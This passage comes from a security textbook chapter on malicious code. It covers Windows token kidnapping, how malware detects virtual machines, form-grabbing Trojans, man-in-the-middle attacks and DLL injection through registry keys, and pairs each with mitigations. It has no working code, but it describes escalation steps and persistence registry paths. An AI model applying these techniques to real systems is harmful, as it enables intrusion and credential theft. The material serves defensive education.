program using MSDTC does not have a token level of impersonation, then it cannot operate with the permissions of the network service. Exhibit 4-20 shows the MSDTC token for the network service
account having a token level of impersonation.
For successful token kidnapping, an impersonated user needs to
acquire the permissions of another higher privileged account. The
higher privileged accounts are vital as each process and thread have
their own access control list. These access control lists define who can
access the thread or process and what operations they may perform.
The PROCESS_DUP_HANDLE access right is a necessity to duplicate object handles in another process. The object handle duplicated in
token kidnapping is the handle to the privileged token.
Handle value: 0000071C
User: NT AUTHORITY\NETWORK SERVICE
Privileges: SeCreateGlobalPrivilege SeImpersonatePrivilege SeChangeNotifyPrivilege
Token type: Impersonation
Token level: SecurityImpersonation
Exhibit 4-20â•… Process tokens after initializing Microsoft Distributed Transaction Coordinator
(MSDTC) with SeImpersonate enabled.
2 3 4
As discussed in Section 1.2.1 on Windows tokens, the PROCESS_
DUP_HANDLE is a permission granted to a primary token since it
applies to a process and not an impersonation token that corresponds
to a thread. Token kidnapping requires obtaining the PROCESS_
DUP_HANDLE permission to duplicate the privileged token; however, because services typically handle connections and requests in
threads within the process, token kidnapping has to start with the
thread’s impersonation tokens.
The impersonation token must have THREAD_SET_CONTEXT
and THREAD_QUERY_INFORMATION access rights to obtain
the process’ token. A token with the THREAD_SET_CONTEXT
permission provides the ability to send asynchronous procedure
calls. An impersonation token with the THREAD_QUERY_
INFORMATION permission allows opening the token that the
thread is currently impersonating.
Using
asynchronous
procedure
calls—specifically,
the
QueueUserAPC function—allows a thread to execute any functions
loaded within the process. The use of QueueUserAPC to call the
ImpersonateSelf function within the process assigns the process’ token
to the thread. Thanks to the THREAD_QUERY_INFORMATION
permission, the thread can use the process’ token to gain access to the
PROCESS_DUP_HANDLE.
Once the PROCESS_DUP_HANDLE is available, a token-kidnapping opportunity presents itself. Duplicating the handle to the
higher privileged token, such as the system level, provides privilege
escalation and complete system compromise. Exhibit 4-21 shows a
screenshot of an iDefense-created token-kidnapping utility that is
elevating privileges from those of a user named w4nt4 to those of
SYSTEM using the process previously discussed.
Exhibit 4-21â•… Successful privilege escalation from token kidnapping.
The above process allows exploitation of Windows by any user with
the SeImpersonate privilege; Microsoft released the MS09-012 advisory to address this issue. This advisory makes architectural changes to
thwart token kidnapping related to the CVE-2009-0079 and CVE2009-0078 vulnerabilities. Both of these classify as service isolation
vulnerabilities because they allow two services running with the same
identity to access each other’s tokens.37
The architectural change-back ports Vista’s Security Identifier
(SID) into previous versions of Windows to prevent services running
under the same account from accessing each other’s tokens. The SID
can include permissions within the process to allow only the process’
SID to have access to its resources. For example, acquiring a network
service token by connecting to a Windows service, such as MSDTC,
would no longer have any privileges to access the threads. Additionally,
this revokes access to the tokens contained inside the process. The
MS09-012 advisory also addresses the CVE-2008-1436 vulnerability by implementing permission changes. CVE-2008-1436 covers the
MSDTC service isolation vulnerability that MS09-012 patched.38
The client side of the MSDTC transaction did not require a token
with the token level set to impersonation, so Microsoft changed it to
an identification token. This allows verification that the token belongs
to a network service but nothing more than that. This limits the ability to carry out token-kidnapping techniques.
Token kidnapping requires the attacker to gain access to an account
with the SeImpersonate privilege. This privilege allows the user to
impersonate other users using tokens. Without it, none of these vulnerabilities is exploitable in the manner described. On a local system,
by default, services and administrators have this right, but nobody
else does; however, settings on a system have a habit of changing, and
an account permissions audit could reduce token-kidnapping opportunities. To check which groups and users have the SeImpersonate
privilege enabled on a local computer, a user could run the command
secpol.msc. Exhibit 4-22 shows a screenshot of the Local Security
Settings manager displaying the users with the SeImpersonate privilege enabled. The SeImpersonate privilege lists as “Impersonate a client after authentication.” Double clicking this entry will present a
dialog box that allows modification of the groups and users with this
right enabled. There are many consequences of granting this access
2 3 6
Exhibit 4-22â•… Users with SeImpersonate privilege enabled.
right, and it should be restricted so that only users and groups that
require it have the privilege.
Token kidnapping leads to the escalation of privileges, which is
attractive to an attacker burdened by a low-privileged account. If an
attacker gains access to a limited user account with impersonation
privileges, it is possible for token kidnapping to elevate permissions
and lead to full system compromise. Minimizing the impact and
likelihood of this technique requires Windows patching, particularly
patches for service isolation vulnerabilities, and a least-privilege access
model for group and user accounts. Implementing operating system
patches would close gaps in access controls that token kidnapping
exploits, and a least-privilege access model would thwart groups and
user tokens from impersonating others.
4.2.8â•‡ Virtual Machine Detection
Malware analysts routinely use virtual machines (VMs) when analyzing malicious code samples. This section addresses the way an
application, particularly a malicious application, can detect when it
is running inside a virtual machine environment (VME) to change
or terminate the application’s behavior to avoid giving up the application’s secrets in environments in which security researchers frequently
conduct malware analysis.
The use of virtual machines allows analysts to run malicious code
without the risk of purposely infecting the analyst’s real workstation
and servers. The use of virtual machines in honeypots gives analysts
the ability to run a multitude of vulnerable configurations without the
expense and administrative overhead associated with the deployment
of a large server farm; however, the use of virtual machines by analysts
has not gone unnoticed by malware authors. While still a relatively
small sample size, several families of malware are “VM aware.”
4.2.8.1â•‡ Fingerprints Everywhere!â•… Virtual machines rely on a host
application known as the virtual machine monitor (VMM). The
VMM, as described in Section 1.1.7 is responsible for providing the
glue between the host machine and the virtual machines. The VMM
attempts to provide a realistic copy of actual hardware architecture
while at the same time providing suitable performance. To that end,
the VMM makes certain concessions.
A variety of different methods exist to create the VME within the
confines of the host machine. The VMM may use full virtualization,
paravirtualization, hardware-assisted virtualization, operating-systemassisted virtualization, or emulation. Each of these techniques requires
the VMM to make adjustments to the VME for the underlying host
machine to support the VME. Applications, typically malicious applications, may find one of the easiest identifiable fingerprints left behind
in this process in the virtual devices generated by the VMM.
When an administrator or user constructs a new VME in products such as VMware’s Workstation or Server, the operating system
(OS) loaded into the VME (known as the guest OS) must be able
to locate and load drivers for the various hardware devices typically
found in a real computer. Devices such as hard drives, video cards,
and network interface cards (NICs) typically contain identifier strings
for the manufacturer of the device. When the device is virtual, as is
the case in a VME, it is not uncommon for the author of the virtual
machine application (the application responsible for the VMM) to
embed strings identifying the software developer as the manufacturer. Applications can locate these strings easily by querying the various devices or looking at the Windows registry (when the guest OS
is Windows based). Exhibit 4-23 shows the abundance of VMwareidentified devices found in a typical installation of Windows XP in a
VMware Workstation 6.5 VM.
The identifiers found in VMware virtual devices are consistent
regardless of the method by which a user configures VMware with
regard to virtualization versus emulation; therefore, if the user specifically configures VMware such that the VM is effectively running
in emulation mode (instead of a virtualization mode), an application
2 3 8
Exhibit 4-23â•… VMware-labeled devices in a VMware workstation virtual machine.
can still easily identify the fact that it is running inside a VME. Tools
to detect the presence of these identifiable strings in the guest OS’
Windows registry have been available since 2003. Tobias Klein’s VM
detection kit, Scooby Doo, 34 is an early example of detecting VMEs
using the strings method.
Strings alone are not reliable indicators of the presence of a VME.
Researchers have found that by using a hex editor, a skilled administrator can relabel the virtual devices generated by the VMM to the
point that the string method for identifying VMEs is ineffective.
Depending on the complexity of the method, simple changes such as
changing VMware to rawMV in the virtual application’s binaries and
supporting files can easily defeat tools that look for string matches.
4.2.8.2â•‡ Understanding the Rules of the Neighborhoodâ•… When the VMM
uses virtualization instead of emulation to generate the VME, the
VMM must make specific modifications to the guest OS that would
otherwise seem inconsequential. Using VMware as the example virtual application again, in its default configuration, VMware utilizes
the host machine’s processor to execute CPU instructions from the
guest OS inside the VME. This type of virtualization allows the
VME to operate and respond more rapidly than when configured to
run in emulation-only mode; however, the use of the host CPU to
run the guest OS causes certain conditions to exist in the VME that
would not otherwise exist in a real machine.
Operating systems such as Windows and Linux that run on the
x86 architecture rely on a special type of CPU mode known as protected mode (or protected virtual address mode). This mode allows the
memory manager within the CPU to map physical memory to any
virtual address space (virtual address space in this case does not refer
to the VME’s memory but to the abstract concept of how the CPU
addresses memory). This feature is the basis of most modern memory
management systems in today’s operating systems. The basic principle behind the use of virtual address space is that, regardless of the
amount of physical memory present and the physical location of the
memory, from the processor’s perspective, a 32-bit process can access
up to 4 gigabytes of memory. The ability to map more virtual address
space than physical memory allows modern operating systems to use
page files to allocate more memory to applications than is physically
available. The mechanics behind this, however, are beyond the scope
of this book. What is important to understand about this memory
management technique is where the information that provides this
physical-to-virtual address space mapping is located.
Special tables known as the local descriptor table (LDT) and the
global descriptor table (GDT) provide the necessary information for
the CPU to map physical memory to virtual addresses. These tables
give the CPU enough information to map every memory address
available to the physical memory. The processor uses two special registers to hold the location of these two tables. Intel identifies these
registers as the local descriptor table register (LDTR) and the global
descriptor table register (GDTR).
The CPU has the limitation that only one set of GDTs and LDTs
are active at any given time. This is a problem when running more than
one operating system at the same time on the same physical machine.
24 0
One solution to this problem for a VMM is to move the guest OS’
GDT and LDT to a different location than would normally be used.
This prevents the host machine’s operating system’s GDT and LDT
tables from being overwritten by the guest OS. Since most operating
systems expect to be the only operating system present on a computer
at one time, operating systems have a very specific location for their
GDT and LDT tables. When the VMM moves the guest OS’ GDT
and LDT to a new memory location, an inconsistency between the
VME and a real machine exists. From this inconsistency, applications
can determine the presence of a VME. The Scooby Doo package can
reliably determine the presence of a VME using this method.
The x86 architecture retains one more set of system-critical memory
structures, which can result in detectable inconsistencies. The interrupt
descriptor table (IDT) is a data structure used by the CPU to determine where in memory to execute in response to an interrupt event.
The CPU holds the location of the IDT in the interrupt descriptor table
register (IDTR). Like the GDT and the LDT, the CPU can only handle one IDT at a time. To prevent a conflict on the host machine, the
VMM must move the guest OS’ IDT to another location that the OS
would normally not use on a real machine. This, as seen with the GDT
and the LDT, presents an opportunity for the application to determine
the presence of a VME due to the IDT existing in a location outside of
the normal IDT location for the given operating system.
4.2.8.3â•‡ Detecting Communication with the Outside Worldâ•… Virtual appli-
cation developers use special attributes of the VME to facilitate communication and interoperability between the VME and the host
machine’s operating system. It is these attributes that allow users to
drag and drop files between the host machine’s operating system and
the guest OS. It is also these attributes that give applications the ability to detect the presence of a VME.
VMware includes a communication input–output (I/O) port to
provide a direct communication channel between the guest OS and
the host machine. Known as the ComChannel, the I/O allows the
VMware tools package to provide interoperability between the guest
and the host. The I/O port used by the ComChannel is specific to
VMware’s VMEs. The same I/O location on a real machine does not
exist. By initiating communication with this I/O port, an application
can quickly determine the presence of a VME.
Both VMware and VirtualPC fail to execute all x86 instructions in
the exact same manner as a real x86 CPU would. This inconsistency
between the real CPU and the virtual CPU can reveal the presence of
a VME. VMware takes this inconsistency a step further by introducing
instructions not found on a physical CPU. The virtual machine’s processor uses these instructions to communicate between the VME and
the host machine. On a real CPU, executing one of these instructions
results in the CPU throwing an invalid opcode exception, but inside a
VME, these instructions execute without fault. In 2005, a programmer
by the name of lallous released a tool known simply as VmDetect.35
VmDetect exploits the use of nonstandard (or invalid) processor
instructions to identify VMEs. In 2006, eEye Research36 found that
when running emulation mode, VMware fails to behave in the typical
manner when a NEAR jump results in a jump outside the current code
segment (CS). This behavior further complicates the problem faced by
VMware’s inability to properly follow the x86 instruction set standard.
When run in a particular mode, the x86-based CPU defines a segment
(a 64 kb window of memory) as the CS. A NEAR jump is limited in
the range of memory addresses that it can move the instruction pointer
to the 64 kb window. When an executable sets up a NEAR jump that
would breach the CS boundary on a real CPU, the CPU generates an
exception and the instruction pointer (EIP) remains within the defined
CS; however, when this event occurs in a VMware VME, the virtual CPU generates an exception and sets the EIP by calculating the
jump location, which exists outside the CS. When VMware’s VMM
uses virtualization instead of emulation, the behavior matches the real
CPU’s behavior since the host machine’s CPU actually executes the
malformed instruction. The advantage of this behavior, from an application’s point of view, is that even when running in a fully emulated
VME that would otherwise show few signs of VME modifications
such as the IDT, LDT, and GDT location inconsistencies, an application still determines the presence of a VME.
4.2.8.4â•‡ Putting It All Togetherâ•… Klein updated his Scooby Doo package
in 2008 to increase the effectiveness of detecting a VME. Known as
ScoobyNG, the VME detection system performed the following tests:
242
1.IDT test
2.LDT test
3.GDT test
4.Incorrect response to standard processor instruction test
5.ComChannel “version” test
6.ComChannel “memory size” test
7.Incorrect “near execution transfers” emulation test (NEAR
jump)
On a default installation of VMware, ScoobyNG is highly effective at
determining the presence of a VMware VME. ScoobyNG generates
six out of seven positive responses when applied to a default VMware
VME, as seen in Exhibit 4-24.
Without significant modifications to the VMware VME, an application can determine the presence of the VME regardless of the VME’s
mode (emulation or virtualization). When VMware VMM uses virtualization, the IDT, LDT and GDT tests will reveal the VME.
When the VMM uses emulation, the NEAR jump test will give away
the VME. Combined, these two sets of tests give suitable coverage to
allow an application to determine the presence of a VME.
Exhibit 4-24â•… ScoobyNG testing a default VMware VME.
4.2.8.5â•‡ The New Hopeâ•… Despite the shortcomings in the VMEs, it is
possible to configure virtual applications such as VMware to prevent
VME detection. Administrators and users can reconfigure a VMware
VME in a relatively short period of time to pass many of the VME
tests. Using the settings in Exhibit 4-25, six of the seven ScoobyNG
tests will fail to reveal the presence of the VMware VME, as would
VmDetect. Administrators could apply similar settings to other virtual applications. Exhibit 4-26 shows the result of these settings from
the perspective of ScoobyNG and VmDetect.
The remaining problem is the NEAR jump issue that reveals the
emulated VME. The NEAR jump test requires the creation of a
new code segment. To construct a new code segment, the application must call the application programming interface (API) function
ZwSetLdtEntries to create a new LDT entry. For a malware analyst to
defeat the NEAR jump test, he or she must develop a method to prevent ZwSetLdtEntries from being successfully called. Simply patching the ntdll.dll file that contains the function is ill advised, given that
the function is critical to the startup sequence of Windows. On the
other hand, using one of the many widely available autostart features
of Windows to run a runtime patching program may prove fruitful.
4.2.8.6â•‡ Conclusionâ•… Applications can exhibit unique behavior or
simply fail to operate when running in a VME. The ways in which
malware authors can detect the presence of a virtual machine are continuing to grow, giving malware authors more ways to prevent their
creations from running in VMEs. Fortunately, while the number
of tests increases, the number of workarounds to defeat these tests
quickly catches up.
4.3â•‡ Stealing Information and Exploitation
4.3.1â•‡ Form Grabbing
Key logging, once the favored method of capturing user input, has
largely given way to form-grabbing Trojans, which provide much
cleaner, better structured data. Whereas key loggers target keystrokes
and therefore miss sensitive data that a user may paste into a form or
select via an options dropdown, form grabbers target Web applications
monitor_control.restrict_backdoor = “TRUE”
IDT/LDT/GDT,
invalid instructions
ComChannel
Exhibit 4-25â•… VMware configurations to reduce VME detection.
These configuration options prevent the VME from
using the host processor for direct code execution.
Essentially, these configuration options place the
VME into full emulation mode.
isolation.tools.getPtrLocation.disable = “TRUE”
isolation.tools.setPtrLocation.disable = “TRUE”
isolation.tools.setVersion.disable = “TRUE”
isolation.tools.getVersion.disable = “TRUE”
monitor_control.disable_directexec = “TRUE” monitor_control.disable_chksimd = “TRUE”
monitor_control.disable_ntrelo = “TRUE”
monitor_control.disable_selfmod = “TRUE”
monitor_control.disable_reloc = “TRUE”
monitor_control.disable_btinout = “TRUE”
monitor_control.disable_btmemspace = “TRUE”
monitor_control.disable_btpriv = “TRUE”
monitor_control.disable_btseg = “TRUE”
These configurations disable the ComChannel
port, preventing VM detection code from using the
port to identify VMEs.
EXPLANATION
CONFIGURATION OPTION
TEST
24 4
Exhibit 4-26â•… ScoobyNG and VmDetect after applying VME detection prevention configuration.
by capturing the form’s data elements before the user submits it. In
this way, a form grabber yields the same key and value pairs received
by the Web application, thereby assuring accurate and complete information. Several families of malicious code employ this technique, and
defending against it requires preventing the initial installation of the
Trojan via antivirus signatures and limiting user privileges to prevent
the installation of browser helper objects (BHOs).
Once deposited on a system, Trojan horses can steal data from a
system using many methods. For years, key loggers reigned as the
kings of data theft, but key log data can be messy and the technique
misses any data the user adds without using the keyboard. This section explains form grabbing, a more precise data theft technique that
modern malicious code targeting Web browsers commonly uses.
Key loggers capture every key typed into a system, but this mechanism
is flawed for certain types of data theft. For instance, when a user copies
his or her sensitive data from one file and pastes it into another place,
the key logger will only record [CTRL]+c followed by [CTRL]+v, and
that is only if the user used keyboard shortcuts rather than the mouse to
issue each command. Key loggers also have problems with Web forms
similar to the one shown in Exhibit 4-27. While the key logger captures
all of the data typed into the form, it will completely miss the “state”
24 6
Exhibit 4-27â•… An example input form with a dropdown list.
value, as the user enters this value using a dropdown list. To solve this
problem, clever attackers invented a technique best known as form grabbing, as the Trojan “grabs” the form before the user submits it and then
reports it to a command-and-control (C&C) server.
While key loggers typically record data for all programs on a system, form grabbers are specialized and only target data sent through a
Web browser. When a user submits a Web form, such as those used to
log onto a website, his or her Web browser generates an HTTP POST
request that sends the data entered to the site. These data are normally
encrypted using transport layer security (TLS) since it is very insecure
to transmit logon and password data in cleartext. Form grabbers work
by intercepting the POST data before the data pass through encryption routines.
Capturing the data at this stage has multiple advantages. Unlike
key loggers, a form grabber will capture the “state” field in the form
shown in Exhibit 4-27. The attacker will also capture precisely what
the user intended to submit. If the user made a typo when writing his
or her password and corrected it, a key logger might capture the following text:
secer[BACKSPACE][BACKSPACE]ret
While the key logger captured the entire password, it only recorded
the keys the user typed and must reconstruct them and perform
Data Type
Data Captured
URL
[https://login.facebook.com/login.php?login_attempt=1]
Title
Welcome to Facebook! | Facebook
Variable 1
locale=en_US
Variable 2
email=testuser_123
Variable 3
pass=secret
Variable 4
pass_placeholder=Password
Exhibit 4-28â•… Data captured by the Nethell/Limbo Trojan.
additional analysis to determine that this is the user’s password. Form
grabbers not only solve problems caused by typos, and copy and paste,
but also capture the names of the variables that the Web page uses to
define the data. Exhibit 4-28 is an example of the data captured by the
Nethell/Limbo Trojan.
The form grabber captured each of the variables individually, including the variables named pass and e-mail, which require little analysis
to determine that these are the user’s credentials. Additionally, the
form grabber captured the URL for which the data was destined and
the title of the page to correlate the user’s credentials with the appropriate website. These abilities make form grabbers superior to key loggers, and as such, they have become the dominant form of credential
theft for modern malicious code. Key loggers remain the best choice
for capturing data not entered into Web forms, such as system logon
passwords, since this information does not pass through form-grabbing code.
To grab forms, a Trojan places itself between the Web browser
and the networking stack, where valuable information passes through
encryption functions before transmission. There are many ways for a
24 8
Trojan to do this. The networking stack is software provided by the
operating system that other programs use to send information across
the Internet.
One way Trojans can insert themselves between the browser and
the networking stack is to install a BHO that watches for calls to the
Windows HttpSendRequest functions and silently extracts the data
from the POST before passing them on. 37 Rather than use a BHO,
the Trojan could simply inject a dynamic link library (DLL) into Web
browsers on the system each time they are launched and monitor for
calls to HttpSendRequest. The Trojan could also alter WININET.
DLL, which contains the Windows HTTP functions, to pass all
requests to its code before sending the data on. There are many ways
to implement a form grabber, but the key to success is intercepting
data before encryption.
Malicious actors use the most common form grabber in the wild
today, Zeus, primarily to target online banking websites. Zeus and
most other form grabbers report stolen data by sending HTTP POST
messages to a C&C server configured by the attacker. This server takes
the information and stores it in files or a database that the attacker can
search to retrieve valuable credentials.
Form grabbing is a data theft technique implemented by many
information-stealing malicious code families. To mitigate the threat
from form grabbers, administrators should deploy countermeasures
to prevent the installation of these Trojans. Antivirus engines commonly detect information-stealing Trojans; however, they will not be
effective at preventing all infections. Limiting user’s privileges will
frequently prevent them from installing BHOs and other software
that may include form-grabbing capabilities. If available, administrators should deploy a blacklist of known malicious servers to their
firewalls. Intrusion detection system (IDS) signatures that detect the
outbound POST requests generated by a specific form grabber might
also be available.38
4.3.2â•‡ Man-in-the-Middle Attacks
This section explains the technical concepts and detection techniques
of, and methods of protection against, man-in-the-middle (MITM)
Ma li c i o us C o d e 1. Victim Requests Balance from
the Bank
249
2. Attacker Requests Victim’s
Balance from the Bank
$
Victim
Attacker
5. Victim’s $1,000 Balance Appears
to be Transmitted to the Victim
4. Attacker Withdraws
$1,000 from
Victim’s Account
Bank
3. Victim’s $1,000 Balance is
Transmitted to the Attacker
Exhibit 4-29â•… Charlie performs a man-in-the-middle (MITM) attack against Bob and his bank.
attacks; what type of communications channels are vulnerable; and
what users can do to mitigate the threat of such attacks.
MITM attacks allow an actor to intercept, view, and alter sensitive data. MITM is a generic type of attack whereby an attacker
inserts him or herself between the victim and the intended party
during communication. Attackers may launch MITM attacks to
enhance exploitation, steal information, defeat authentication systems, and masquerade or take actions as victims. In Exhibit 4-29,
the attacker (Charlie) performs a MITM attack that withdraws all of
Bob’s remaining balance.
MITM attacks often involve the attacker proxying requests, like
the original question and answer to “What is Bob’s balance” in Exhibit
4-29. In this way, the victim and the bank do not realize they are
actually communicating with a fraudulent party because the answers
are reasonable. In a MITM attack, each request and reply, which the
attacker can modify or replace, goes through the attacker.
Malicious code authors integrated network-based MITM attacks
with both address resolution protocol (ARP) and domain name system (DNS) spoofing as early as February, 2006. The ARP allows local
computers to determine the location of other computers according
to their hardware (MAC) address. ARP uses connectionless protocols; anyone connected to the network can send spoofed responses as
another computer on the network. When attackers send spoofed ARP
packets and claim to own every IP address, they can force all traffic to
go through those IPs. If they proxy the traffic, they can modify or view
it while allowing the victim to continue communicating. Similarly,
25 0
other protocols, such as DNS, can facilitate MITM attacks against
specific domain names. If an attacker is able to resolve a domain name
to an IP address he or she controls instead of its actual address, then
the victim will communicate with the attacker’s server instead of the
intended server.
Examples of malicious code families that use network-based
MITM attacks include Snow.A, Netsniff, and Arpiframe. Snow.A
installs the WinPCAP driver and performs ARP poisoning to intercept and monitor traffic. While Netsniff attempted to send spoofed
DNS traffic, others like Arpiframe used MITM attacks to spread
exploits by appending IFrames to all requested pages. If Arpiframe
infects one server, all other servers on the same network will also
deliver exploits.
Connecting to untrusted networks is dangerous for similar reasons,
because a single malicious client or infected user could launch MITM
attacks against all other users on the same network. Attackers could
also launch MITM attacks by offering free wireless networks; such
attacks have high hardware costs if attackers plan to target many different locations. Users should not trust external networks, and should
use secure protocols like HTTPS, which allows users to authenticate
the server and encrypt data to prevent eavesdropping.
Attackers also use MITM attacks while phishing when the phishing tool used acts as a proxy to the real server. Phishing websites often
do not use HTTPS; therefore, users do not have a strong way to verify
the server’s identity using the server’s certificate. If users provide their
information to a phishing website despite the lack of server identity
information, attackers will have access to the user’s current session.
Financial institutions can detect a large number of successful logon
attempts from the same IP address to identify a potential phishing
website acting as a proxy for MITM attacks.
On a larger scale, attackers could target routers in an attempt to
reconfigure the way they route traffic. As an example, a known vulnerability in 2Wire modems that certain ISPs in Mexico offer to more
than 2 million users allowed an attacker to reconfigure DNS settings whenever the user’s browser or mail client rendered a malicious
HTML tag. In this example, attackers reconfigured the IP address
for banamex.com to an attacker-controlled server.39 If a user connects
to the legitimate website via http://banamex.com while affected by
this configuration, the user would interact with the attacker’s server
instead of the real one.
To deter attackers from using stolen credentials, organizations often
require multiple forms of authentication, including one-time PINs
(OTPs), which are time based and change each time the user logs on.
These measures, while effective against certain kinds of attacks, are
not effective at preventing MITM attacks. A MITM attack allows
the attacker to alter traffic after a user logs onto a target website of
interest. If the attacker wanted to gain more information from the
user, the attacker could relay extra traffic to the client or take different
actions as the client when communicating with the server.
ARP, DNS, phishing, and infrastructure MITM attacks are a few
of the examples that explain how attackers inject themselves between
a victim and another server. Upon injecting themselves in the middle, attackers can have varying motivations. Usually, attackers want
to steal information, modify transactions, or enhance exploitation
through appending IFrames with exploits to all HTTP replies.
4.3.2.1â•‡ Detecting and Preventing MITM Attacksâ•… One reason why cer-
tain MITM attacks are possible is because of the dynamic nature of
DNS, which assigns IP addresses to domain names, and ARP, which
assigns IP addresses to hardware and MAC addresses. Administrators
who configure their networks to use static MAC address and IP
address mappings can prevent attackers from using ARP spoofing.
Additionally, administrators should block unrecognized DNS servers
to prevent those DNS packets from reaching their victims. In the case
of external networks, there is a lot of potential for malicious actions
from either the operator or any user who connects. Users who need
to access untrusted networks should use secure protocols to limit the
impact of MITM attacks.
If an attacker attempts to intercept HTTPS traffic and send it to a
server that he or she controls, the user might see the warnings shown
in Exhibit 4-30 instead of the legitimate website. Upon viewing one of
these warnings, users should recognize that an attacker might be trying
to launch a MITM attack. For resources that do not use cryptographically strong protocols, there is no protection against MITM attacks.
Websites that mix both HTTP and HTTPS are easier for attackers to target because attackers can rewrite all HTTPS links to their
25 2
Exhibit 4-30.â•… An untrusted connection in Firefox (top) and Internet Explorer (bottom).
nonsecure HTTP counterparts, provided the user accesses at least one
HTTP page during the session. For this reason, financial institutions
should offer websites with HTTPS-only options and encourage users
to connect to HTTPS versions of their websites before entering user
credentials. Even one unsecured page could allow attackers to perform
a MITM attack or perform an action on behalf of the user after he or
she logs on. Some websites only use HTTPS when the user supplies
credentials but do not protect other session information, which can be
just as valuable to attackers using MITM attacks.
Users must authenticate the servers with which they wish to communicate and use cryptographically strong protocols to communicate.
HTTPS and secure shell (SSH) are preferable to HTTP and telnet
when exchanging critical information. Software clients for protocols
like SSH cache the server’s signature after the user first connects. If
the signature differs from the locally cached version, then the client
will raise a warning, indicating that the server’s certificate changed
and possibly that a MITM attack is taking place.
4.2.3.2â•‡ Conclusionâ•… Using encryption and certificates are effective
ways to prevent MITM attacks from being successful, provided
users authenticate servers appropriately. While administrators can
make changes to their own networks to prevent ARP and DNS
spoofing, they can do little to prevent the dangers of using external,
untrusted networks. Organizations should make HTTPS-only versions of their websites available for whenever their customers wish
to access them from untrusted networks. Users can use secure tunnels and proxies to limit the potential dangers of malicious external
networks for all of their traffic. This will limit the effectiveness of
MITM attacks and prevent unwanted disclosure and modification
of data.
4.3.3â•‡ DLL Injection
Through the use of dynamic link libraries (DLLs), attackers are able
to inject malicious activity into existing processes and applications.
The compromised application continues to appear as a legitimate process, thereby bypassing application firewalls and requiring sophisticated tools to detect the malicious code. DLL injection poses a serious
threat to the user and permits the attacker to steal the parent process
data, which in many cases results in the theft of account credentials.
The Windows operating system uses dynamic link libraries (DLLs)
to add functionality to applications. DLLs modularize applications
by offering precompiled libraries that all programs share. An application using a DLL does not bundle the libraries up and include them
within its compiled code. Instead, the application imports the library
to use functions within the DLL. This shared library implementation provides many beneficial features, such as code reuse, but exposes
applications to the introduction of malicious DLLs. This section
explains how to include a malicious DLL in an application by using a
technique known as DLL injection.
Malicious code authors strive to steal information from or perform
other malicious deeds on a compromised system. While carrying out
this activity, they also attempt to hide their presence to lengthen the
period in which the system remains in their control. DLL injection,
which involves loading a malicious DLL into other processes, can
achieve all of these tasks.
Injecting a DLL into another process allows an attacker to gain
access to the process and its memory. The result of a successful injection is a complete compromise of the process by providing free reign
to the DLL. This allows the DLL to monitor, alter, and steal elements
25 4
from within the process and carry out actions under the guise of the
application.
DLL injection also provides an avenue to hook Windows application programming interface (API) functions. By hooking these
functions, the malicious DLL can monitor calls and alter interaction
between the process and the kernel. This gives the DLL rootkit capabilities, as it can hide files and other contents on the system that the
malicious code author does not want exposed.
The impact of DLL injection on a system is very high and is trivial
to carry out successfully with elevated privileges. A few methods are
available to inject DLLs into processes, and each varies in complexity and depends on the targeted process and the context in which the
library injection originates. One simple way to inject a DLL into a
process is by modifying the Windows Registry.
4.3.3.1â•‡ Windows Registry DLL Injectionâ•… One of the easiest ways to
perform DLL injection is through Windows Registry modifications.
In Windows NT4, 2000, and XP, AppInit_DLLs is a registry key
commonly used to inject DLLs into processes. The full path to the
AppInit_DLLs registry entry is as follows:
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\
CurrentVersion\Windows\AppInit_DLLs
This key includes a list of DLLs that load into all processes in the
current logged-on session. The user32.dll library, responsible for the
Windows user interface, loads the listed DLLs in AppInit_DLLs
during the DLL_PROCESS_ATTACH process. Therefore, all processes that link to user32.dll, which omits very few user mode applications, include the DLL within the AppInit_DLLs registry key when
the process starts.
This method does not work by default in the Vista operating system, as Microsoft did not carry over the AppInit_DLLs functionality
due to the negative implications it presented. Vista uses a registry key
called LoadAppInit_DLLs that requires extra permissions; however,
the attacker can restore the original AppInit_DLLs functionality
discussed above by setting the LoadAppInit_DLLs value to 1.
In addition to AppInit_DLLs, the undocumented registry key
ShellServiceObjectDelayLoad can inject a DLL into the Windows
Explorer process. The ShellServiceObjectDelayLoad registry key
contains critical DLLs, such as stobject.dll for the system tray, to
load into the Explorer process for Windows to operate properly. To
use the ShellServiceObjectDelayLoad key for injection, a component
object model (COM) object, used to allow communication between
different pieces of software on the system, must link the DLL to a
unique class identifier. Once the link exists, the class identifier added
to the ShellServiceObjectDelayLoad key will load the DLL into
the Explorer process when the system starts. The full path to the
ShellServiceObjectDelayLoad registry key is as follows:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\ShellServiceObjectDelayLoad
Another registry entry that allows DLL injection uses the Notify
key within the Winlogon entry. Winlogon is responsible for interactive logon for Windows and uses notifications to handle events. The
Notify key loads DLLs that handle events such as startup, shutdown,
and lock. By listing a malicious DLL in the Notify key, the library
will load into the Winlogon process during system startup. The full
path to the Winlogon Notify key is as follows:
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\
CurrentVersion\Winlogon\Notify
A DLL injection method used by the Coreflood Trojan modifies
the registry key ShellIconOverlayIdentifier. This registry key contains icon overlay handlers, which allow the Windows shell to overlay images onto icons. Exhibit 4-31 displays an example of such an
overlay when creating a shortcut on the desktop to an executable. The
shortcut icon places an arrow in the lower-left corner of the executable’s icon.
The icon overlay handlers are DLLs that export the interface to
facilitate the overlay, but DLLs listed in the ShellIconOverlayIdentifier
key load regardless of whether they provide this interface. Malicious
Exhibit 4-31â•… A shortcut icon with overlay.
25 6
DLLs dropped into the Windows system directory and added to this
registry key load into Explorer at startup, resulting in a successful injection. The path to the ShellIconOverlayIdentifier key is as follows:
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
ShellIconOverlayIdentifiers
An option for attackers to inject a DLL into Internet Explorer is
available using a browser helper object (BHO). Microsoft created
BHOs to allow customized code to interact with Internet Explorer.40
The implementation provided simple integration, as installation only
requires a registry key with the path to the DLL. The path to the BHO
registry key to inject a DLL into Internet Explorer is as follows:
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
BrowserHelperObjects
4.3.3.2â•‡ Injecting Applicationsâ•… In addition to DLL injection through
registry modifications, malicious applications can inject DLLs into
other processes. Malicious code that injects DLLs is common and
typically loads these DLLs into processes as it installs onto the system. These malicious programs typically follow the same procedures
to load a malicious DLL into a remote process. The diagram shown in
Exhibit 4-32 visually exemplifies the typical steps involved with DLL
injection. The steps include opening the targeted process, allocating
memory in the process for the DLL’s path, writing the DLL’s path to
1. Open Process
Malicious Process
